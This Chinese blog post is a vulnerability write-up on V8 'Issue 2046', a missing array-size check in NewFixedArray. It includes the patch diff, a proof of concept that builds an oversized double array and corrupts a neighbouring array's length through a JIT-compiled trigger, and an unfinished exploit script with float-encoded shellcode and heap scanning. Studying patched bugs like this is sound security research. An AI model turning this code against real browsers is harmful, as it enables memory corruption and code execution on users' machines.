Issue 2046：Missing array size check in NewFixedArray

2024-03-18 20:20
文章标签 array missing check size issue 2046 newfixedarray

本文主要是介绍Issue 2046：Missing array size check in NewFixedArray，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！

文章目录

  • 环境搭建
  • 漏洞分析
    • 漏洞触发
  • 漏洞利用
  • 总结
  • 参考

环境搭建

sudo apt install pythongit reset --hard 64cadfcf4a56c0b3b9d3b5cc00905483850d6559
export DEPOT_TOOLS_UPDATE=0
gclient sync -D// debug version
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug// release debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release

漏洞分析

关键 patch 如下：

diff --git a/src/builtins/base.tq b/src/builtins/base.tq
index ec10601..4db796d 100644
--- a/src/builtins/base.tq
+++ b/src/builtins/base.tq
@@ -354,6 +354,8 @@constexpr uintptr generates 'String::kMaxLength';const kFixedArrayMaxLength:constexpr int31 generates 'FixedArray::kMaxLength';
+const kFixedDoubleArrayMaxLength:
+    constexpr int31 generates 'FixedDoubleArray::kMaxLength';const kObjectAlignmentMask: constexpr intptrgenerates 'kObjectAlignmentMask';const kMinAddedElementsCapacity:
diff --git a/src/objects/fixed-array.tq b/src/objects/fixed-array.tq
index 519a5f8d..b15f9c5 100644
--- a/src/objects/fixed-array.tq
+++ b/src/objects/fixed-array.tq
@@ -141,8 +141,15 @@ConstantIterator(kDoubleHole)));}+namespace runtime {
+extern runtime FatalProcessOutOfMemoryInvalidArrayLength(NoContext): never;
+}
+macro NewFixedArray<Iterator: type>(length: intptr, it: Iterator): FixedArray {if (length == 0) return kEmptyFixedArray;
+  if (length > kFixedArrayMaxLength) deferred {
+      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+    }return newFixedArray{map: kFixedArrayMap, length: Convert<Smi>(length), objects: ...it};}
@@ -150,6 +157,9 @@macro NewFixedDoubleArray<Iterator: type>(length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {if (length == 0) return kEmptyFixedArray;
+  if (length > kFixedDoubleArrayMaxLength) deferred {
+      runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+    }return new FixedDoubleArray{map: kFixedDoubleArrayMap,length: Convert<Smi>(length),

这两个函数的作用就是创建 new FixedArray 和 new FixedDoubleArray 可以看到主要就是在 NewFixedArray/NewFixedDoubleArray 函数中增加了对 length 边界的检查。

为什么要检查呢？不检查会出现什么问题呢？我们先理论分析一下

  • 其实我们知道对于 fast js array 其大小的有限制的，比如 FixedArray 的大小应该限制在 [0, FixedArray::kMaxLength]
  • 然而 NewFixedArray 这两个函数并没有对数组大小做限制，那么理论上我们可以创建一个大小为 FixedArray::kMaxLength + ? 的数组 arr1
  • 那么如果我们访问 arr[arr1.length]，如果是在 turbofan 优化中，这里会认为 arr1.length 的范围为 Range(0, FixedArray::kMaxLength)，但实际上 arr1.length 的值却是 FixedArray::kMaxLength + ?
  • 所以理论上这里可以通过该漏洞来使得 trubofan 消除 CheckBounds 节点（但很遗憾，这个版本不能消除 CheckBounds 节点）

NewFixedDoubleArray 同理

漏洞触发

接下来我们得分析下如何去创建上述的 arr1.length = FixedArray::kMaxLength + ? 的数组 arr1

v8 限制了 fixed array 最大的元素个数：

  // Maximally allowed length of a FixedArray.static const int kMaxLength = (kMaxSize - kHeaderSize) / kTaggedSize;static_assert(Internals::IsValidSmi(kMaxLength),"FixedArray maxLength not a Smi");static const int kMaxSize = 128 * kTaggedSize * MB - kTaggedSize;
constexpr int kTaggedSize = kSystemPointerSize;
constexpr int kSystemPointerSize = sizeof(void*);
constexpr int KB = 1024;
constexpr int MB = KB * 1024;
// ⇒ kMaxSize = 128 * 8 * 1024 * 1024 - 8static const size_t kHeaderSize =kSizeOffset + kSizetSize  // size_t size+ kUIntptrSize            // uintptr_t flags_+ kSystemPointerSize      // Bitmap* marking_bitmap_+ kSystemPointerSize      // Heap* heap_+ kSystemPointerSize      // Address area_start_+ kSystemPointerSize;     // Address area_end_
static const intptr_t kSizeOffset = 0;
constexpr int kSizetSize = sizeof(size_t);
constexpr int kUIntptrSize = sizeof(uintptr_t);
typedef unsigned __int64 uintptr_t;
constexpr int kSystemPointerSize = sizeof(void*);
// ⇒ kHeaderSize = 0 + 8 + 8 + 8 + 8 + 8 + 8

最后计算得：kMaxLength = 0x7fffff9

但是这里计算的似乎是不对的？

这里笔者简单写了一个 demo：

var arr = Array(100).fill(1);function func(arr) {let x = arr.lengthlet y = x * 5return y + 4;
}for (let i = 0; i < 0x10000; i++) {func(arr);
}

然后在 typer 阶段可以看到其计算的范围是 Range(0, 134217725)，所以这里的 kMaxLength = 0x7fffffd ？不懂…
在这里插入图片描述
这里还是得根据 IR 图来，所以这里默认 FixedArray::kMaxLength = 0x0x7fffffd，同样的方式可以知道 NewFixedDoubleArray::kMaxLength = 0x3fffffe。这里我们以 NewFixedDoubleArray 来进行利用，为啥呢？因为浮点数数组写入数据是 64 位的，方便。

这里笔者最开始直接创建一个 0x3fffffe+1 大小的 FixedDoubleArray，但是报错：

Fatal javascript OOM in invalid array length

这里多半就是没有调用到漏洞函数 NewFixedDoubleArray

所以这里并不是直接创建一个大小 FixedDoubleArray::kMaxLength 数组那样简单，这里笔者找到了一篇参考文章，该文章主要分析了作者的 POC。

根据作者的 POC，构造大小大于 FixedDoubleArray::kMaxLength 的数组 victim_arr（后面会直接使用这个称号）主要用到了 Array.prototype.concat.apply + Array.prototype.splice 这两个函数。

这里我们简单分析下作者提供的 POC：

var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);
console.log(giant_array.length.toString(16));
// 输出：
// 3ffffff

可以看到 giant_array.length = FixedDoubleArray::kMaxLength + 1，即构造 victim_arr 成功：

  • 先创建了一个大小为 0x40000 的 HOLEY_DOUBLE_ELEMENTS 数组 array
  • 然后创建了一个大小为 0xff 的 HOLEY_ELEMENTS 数组 args
  • 然在向 args 中 push 一个大小为 0x40000-4 的 HOLEY_DOUBLE_ELEMENTS 数组，此时 args 为 0x100 的 HOLEY_ELEMENTS 数组
  • 然后利用 Array.prototype.concat 将 args 展开，此时 giant_array 的大小为：0xff * 0x40000 + 0x40000 - 4 = 0x3fffffc
  • 最后在利用 splice 向 giant_array 末尾添加 3 个 3.3，此时 giant_array 的大小就是 0x3fffffc+3 = 0x3ffffff 了

当然我们可以看到在调用 splice 前，giant_array 的大小为 0x3fffffc，其是没有超过 FixedDoubleArray::kMaxLength 的，所以这里应该就是在 splice 函数中调用了漏洞函数。所以在 splice 前的这些操作都只是为了让 giant_array 的大小接近 FixedDoubleArray::kMaxLength。

那么问题来了，为啥不直接创建一个大小为 0x3fffffc 的 giant_array ，然后在直接 splice 呢？笔者其实也尝试过，但是报错：

Fatal javascript OOM in Ineffective mark-compacts near heap limit

这是内存错误，即内存溢出了。这个在参考文章中给出了解释：

Not only will this take a bit of time to run, we get an OOM (Out Of Memory) error! The reason this happens is because the allocation of the array doesn’t happen in one go. There are a large amount of calls to AllocateRawFixedArray, each one allocating a slightly larger array. You can see this in GDB by setting a breakpoint at AllocateRawFixedArray and then allocating the array as shown above. I’m not entirely sure why V8 does it this way, but that many allocations causes V8 to very quickly run out of memory

即这里创建大数组时并不是一次性创建的，而是会多次调用 AllocateRawFixedArray，调试也确实如此，而每次调用 AllocateRawFixedArray 分配一个稍大一点的数组。这样的多次分配操作会导致 V8 引擎很快耗尽可用的内存，从而引发内存错误。

但是在参考文章中，作者创建接近 FixedArray::kMaxLength 的数组时是出现了内存溢出错误的。但是在创建接近 FixedDoubleArray::kMaxLength 的数组时是没有报错的，可能环境不一样。但总的来说直接创建一个大数组非常耗时间（你会发现你得等好久）。

然后值得注意的是 concat 存在快速路径和慢速路径：

BUILTIN(ArrayConcat) {
......// Reading @@species happens before anything else with a side effect, so// we can do it here to determine whether to take the fast path.Handle<Object> species;ASSIGN_RETURN_FAILURE_ON_EXCEPTION(isolate, species, Object::ArraySpeciesConstructor(isolate, receiver));if (*species == *isolate->array_function()) {if (Fast_ArrayConcat(isolate, &args).ToHandle(&result_array)) {return *result_array;}if (isolate->has_pending_exception())return ReadOnlyRoots(isolate).exception();}return Slow_ArrayConcat(&args, species, isolate);
}

而在快速路径 Fast_ArrayConcat 下存在检查：

MaybeHandle<JSArray> Fast_ArrayConcat(Isolate* isolate,BuiltinArguments* args) {
......result_len += Smi::ToInt(array->length());DCHECK_GE(result_len, 0);// Throw an Error if we overflow the FixedArray limitsif (FixedDoubleArray::kMaxLength < result_len ||FixedArray::kMaxLength < result_len) {AllowHeapAllocation gc;THROW_NEW_ERROR(isolate,NewRangeError(MessageTemplate::kInvalidArrayLength),JSArray);}}}return ElementsAccessor::Concat(isolate, args, n_arguments, result_len);
}

可以看到如果 result_len 大于 FixedArray::kMaxLength = 0x0x7fffffd or FixedDoubleArray::kMaxLength = 0x3fffffe 则报错。而我们这里利用的是 FixedDoubleArray ，其中 result_len = 0x3fffffc 所以不需要绕过，而如果使用 FixedArray 进行利用则需要进行绕过。参考作者第一版 POC，绕过很简单，添加一个熟悉即可。

言归正传，还是回到 Array.prototype.splice 函数的调用链，看看其是如何调用到漏洞函数的：

// builtins/array-splice.tq
ArrayPrototypeSplice-> FastArraySplice -> FastSplice -> Extract -> ExtractFixedArray -> NewFixedArray

其实没啥好说的，大家跟一下就行了…

漏洞利用

这个漏洞的利用相对比较复杂，所以单独记录一下。

笔者最开始采用了很多方法但是都没啥效果，所以最后还是来分析 POC 吧，

var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);var length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];var corrupting_array;
var corrupted_array;function trigger(array) {var x = array.length;x -= 67108861;x = Math.max(x, 0);x *= 6;x -= 5;x = Math.max(x, 0);corrupting_array = [0.1, 0.1];corrupted_array = [0.1];corrupting_array[x] = length_as_double;return [corrupting_array, corrupted_array];
}for (let i = 0; i < 30000; ++i) {trigger(giant_array);
}var oob_array = trigger(giant_array)[1];console.log("[+] conrrupted array length : 0x" + oob_array.length.toString(16));
// 输出：
// [+] conrrupted array length : 0x12121212

TyperPahse

对索引 x 的 type 计算是符号预期的：
在这里插入图片描述
但是数组访问写时，感到很奇怪：
在这里插入图片描述
可以看到这里存在一个 MaybeGrowFastElements 节点，并且这里 CheckBounds 检查的范围是 [1024, 0x7fffffd+1024] = [1024, FixedArray::kMaxLength+1024]。

这里笔者自己尝试了很多方法都没有构造出 MaybeGrowFastElements 节点

暂时搁置 todo

有点难搞

尝试写了下 exp，但是存在问题：

const {log} = console;
var raw_buf = new ArrayBuffer(8);
var d_buf = new Float64Array(raw_buf);
var l_buf = new BigUint64Array(raw_buf);
let roots = new Array(0x30000);
let index = 0;function major_gc() {new ArrayBuffer(0x7fe00000);
}function minor_gc() {for (let i = 0; i < 8; i++) {roots[index++] = new ArrayBuffer(0x200000);}roots[index++] = new ArrayBuffer(8);
}let l2d = (val) => {l_buf[0] = val;return d_buf[0];
};let d2l = (val) => {d_buf[0] = val;return l_buf[0];
};let hexx = (str, val) => {log(str+": 0x"+val.toString(16));
};function shellcode() {return [1.9553820986592714e-246, 1.9557677050669863e-246, 1.97118242283721e-246,1.9563405961237867e-246, 1.9560656634566922e-246, 1.9711824228871598e-246,1.986669612134628e-246,  1.9712777999056378e-246, 1.9570673233493564e-246,1.9950498189626253e-246, 1.9711832653349477e-246, 1.9710251545829015e-246,1.9562870598986932e-246, 1.9560284264452913e-246, 1.9473970328478236e-246,1.9535181816562593e-246, 5.6124209215264576e-232, 5.438699428135179e-232];
}//%PrepareFunctionForOptimization(shellcode);
//shellcode();
//%OptimizeFunctionOnNextCall(shellcode);
//shellcode();for (let i = 0; i < 0x80000; i++) {shellcode(); shellcode();shellcode(); shellcode();
}var array = Array(0x40000).fill(1.1);
var args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
var giant_array = Array.prototype.concat.apply([], args);
giant_array.splice(giant_array.length, 0, 3.3, 3.3, 3.3);var length_as_double = new Float64Array(new BigUint64Array([0x2424242400000001n]).buffer)[0];var corrupting_array;
var corrupted_array;
var map_len;function trigger(array) {let x = array.length;x -= 67108861;x = Math.max(x, 0);x *= 6;x -= 5;x = Math.max(x, 0);corrupting_array = [0.1, 0.1];corrupted_array = [0.1];corrupting_array[x] = length_as_double;return [corrupting_array, corrupted_array];
}for (let i = 0; i < 0x8000; ++i) {trigger(giant_array);
}/*
%PrepareFunctionForOptimization(trigger);
trigger(giant_array);
%OptimizeFunctionOnNextCall(trigger);
trigger(giant_array);
*/var [x_arr, oob_arr] = trigger(giant_array);
console.log("[+] conrrupted arr length : 0x" + oob_arr.length.toString(16));//var arb_rw_heap_arr = [0x6f56, 0x6f56, shellcode];/*0x00002c5f00000000 0x00002c5f0000c000 0x0000000000000000 rw-
0x00002c5f00040000 0x00002c5f00041000 0x0000000000000000 rw-
0x00002c5f00080000 0x00002c5f00081000 0x0000000000000000 rw-
0x00002c5f000c0000 0x00002c5f000c1000 0x0000000000000000 rw-
0x00002c5f00100000 0x00002c5f00101000 0x0000000000000000 rw-
0x00002c5f00140000 0x00002c5f00141000 0x0000000000000000 rw-
0x00002c5f08080000 0x00002c5f0818d000 0x0000000000000000 rw-
0x00002c5f081c0000 0x00002c5f081c1000 0x0000000000000000 rw-
0x00002c5f08200000 0x00002c5f083e1000 0x0000000000000000 rw-
0x00002c5f08500000 0x00002c5f08701000 0x0000000000000000 rw-
0x00002c5f08740000 0x00002c5f08940000 0x0000000000000000 rw-
0x00002c5f08a80000 0x00002c5f09081000 0x0000000000000000 rw-
0x00002c5f090c0000 0x00002c5f290c1000 0x0000000000000000 rw-
0x00002c5f29100000 0x00002c5f59101000 0x0000000000000000 rw-
0x00002c5f59140000 0x00002c5f59940000 0x0000000000000000 rw-
*//*
let all = [[0,0xc000], [0x40000,0x41000], [0x80000, 0x81000],[0xc0000,0xc1000], [0x100000,0x101000], [0x140000,0x141000],[0x8080000,0x818d000],[0x81c0000,0x81c1000],[0x8200000,0x83e1000],[0x8500000,0x8701000],[0x8740000,0x8940000],[0x8a80000,0x9081000],[0x90c0000,0x90c1000],[0x9100000,0x9101000],[0x9140000,0x9940000]];
*/let all = [[0x596a6000, 0x596e7000]];
var arb_rw_heap_arr = [0x6f54, 0x6f54, oob_arr];%DebugPrint(arb_rw_heap_arr);let flag = true;
for (let i = 0; i < all.length && flag; i++) {let range = all[i];
//      print("range: ", range);for (let l = range[0] / 8; l < (range[1] / 8 - 1); l++) {if (l > oob_arr.length) {log("Error: failed oob read key data");flag = false;break;}let val = d2l(oob_arr[l]);if (val == 0xdea80000dea8n) {log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));log(l.toString(16)+" => 0x"+val.toString(16));log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));print("=====================");//flag = false;} else if ((val&0xffffffffn) == 0xdea8n) {log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));log(l.toString(16)+" => 0x"+val.toString(16));log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));print("=====================");} else if (((val>>32n)&0xffffffffn) == 0xdea8n) {log((l-1).toString(16)+" => 0x"+d2l(oob_arr[l-1]).toString(16));log(l.toString(16)+" => 0x"+val.toString(16));log((l+1).toString(16)+" => 0x"+d2l(oob_arr[l+1]).toString(16));print("=====================");}}
}%DebugPrint(arb_rw_heap_arr);//%SystemBreak();

总结

这里的漏洞触发源码还没有搞清楚。然后就是对于写 exp 部分，由于存在指针压缩，所以当篡改相邻浮点数组对象的 length 属性时，会将其 element 一些篡改。所以这里我们只能将 element 修改为 1，然后从头开始遍历堆，从而区寻找目标对象。

但是这里存在两个问题：

  • 由于存在 guard 内存，所以我们得选择一些地址进行编译。
  • 程序在执行过程中会进行垃圾回收，这会使得之前确定的目标偏移失效。

参考

SIMPLE BUGS WITH COMPLEX EXPLOITS

这篇关于Issue 2046：Missing array size check in NewFixedArray的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！


http://www.chinasem.cn/article/823536。

相关文章

SOMEIP_ETS_095: SD_Check_subscribe_eventgroup_ttl_expired

SOMEIP_ETS_095: SD_Check_subscribe_eventgroup_ttl_expired

测试目的： 验证DUT（Device Under Test）能够检测到测试器（Tester）的订阅已过期（ttl = 3秒），并且在TTL过期后不响应测试器触发的事件。 描述 本测试用例旨在确保DUT能够识别测试器的订阅已过期，并在订阅过期后不响应测试器通过TriggerEventUint8方法触发的事件。 测试拓扑： 具体步骤： TESTER：发送订阅事件组消息，用于事件组0x0
阅读更多...
android.database.CursorIndexOutOfBoundsException: Index 5 requested, with a size of 5

android.database.CursorIndexOutOfBoundsException: Index 5 requested, with a size of 5

描述： 01-02 00:13:43.380: E/flyLog:ChatManager(963): getUnreadChatGroupandroid.database.CursorIndexOutOfBoundsException: Index 5 requested, with a size of 5 01-02 00:13:43.380: E/flyLog:ChatManager(
阅读更多...
java中的length与length()与size()

java中的length与length()与size()

正确用法 Array.length int[] arr = {1,2,3};int x = arr.length;//arr.length = 3 String.length() String s = "123";int x = s.length();//s.length() = 3 Collection.size() ArrayList<Integer> list = n
阅读更多...
code: 400, msg: Required request body is missing 错误解决

code: 400, msg: Required request body is missing 错误解决

引起这个错误的原因是，请求参数按照get方式给。 应该给json字符串才对 补充： 1. @RequestBody String resource 加@RequestBody必须给json字符串，否则会报错400,记如标题错误。 不加这个的进行请求的话，其实post和get就没有什么区别了。 2. List<String> indexCodes=(List<String>)json.
阅读更多...
【uva】11536-Smallest Sub-Array（区间移动问题）

【uva】11536-Smallest Sub-Array（区间移动问题）

一个区间移动的问题，1A了，感觉没什么好说的。。 13975926 11536 Smallest Sub-Array Accepted C++ 0.809 2014-08-01 11:00:20 #include<cstdio>#include<cstring>#include<iostream>using namespace std;#define INF 1 << 30
阅读更多...
leetCode#448. Find All Numbers Disappeared in an Array

leetCode#448. Find All Numbers Disappeared in an Array

Description Given an array of integers where 1 ≤ a[i] ≤ n (n = size of array), some elements appear twice and others appear once. Find all the elements of [1, n] inclusive that do not appear in this
阅读更多...
做一个问卷考试，标准答案对比用户填写的答案，array_diff 进行差集比对

做一个问卷考试，标准答案对比用户填写的答案，array_diff 进行差集比对

if( empty(array_diff($answer_mark, $answer)) && empty(array_diff( $answer,$answer_mark))){//用户答题正确}else{// 答题错误} 做一个问卷考试，标准答案对比用户填写的答案，array_diff  进行差集比对   如用户填写的答案变量为answer   标准答案为answer_mark
阅读更多...
Unexpected token d in JSON at position 5, check bodyParser config错误解决

Unexpected token d in JSON at position 5, check bodyParser config错误解决

错误原因：json格式不对 { desc="设备1", iotProjectId=11 } 解决：通过json在线校验格式校验json格式，找出错误原因，修改 在线JSON校验格式化工具（Be JSON） 修改： {"desc": "设备","iotProjectId": 11}
阅读更多...
选取训练神经网络时的Batch size ，BatchNorm

选取训练神经网络时的Batch size ，BatchNorm

BatchNorm 优点：对于隐藏层的每一层输入，因为经过激活函数的处理，可能会趋向于大的正值和负值，容易出现梯度下降和梯度消失。所以强行拉回到服从均值为0，方差为1的标准正态分布，避免过拟合 缺点：正是因为这种强行改变分布的手段，使得隐层输入和原始数据分布差异太大，如果数据量不大时，容易欠拟合。可能不用更好一些 https://www.zhihu.com/search?type=conte
阅读更多...
[LeetCode] 238. Product of Array Except Self

[LeetCode] 238. Product of Array Except Self

题：https://leetcode.com/problems/product-of-array-except-self/description/ 题目 Given an array nums of n integers where n > 1, return an array output such that output[i] is equal to the product of all
阅读更多...

Copyright China编程 23002807@qq.com

沪ICP备2023033072号-2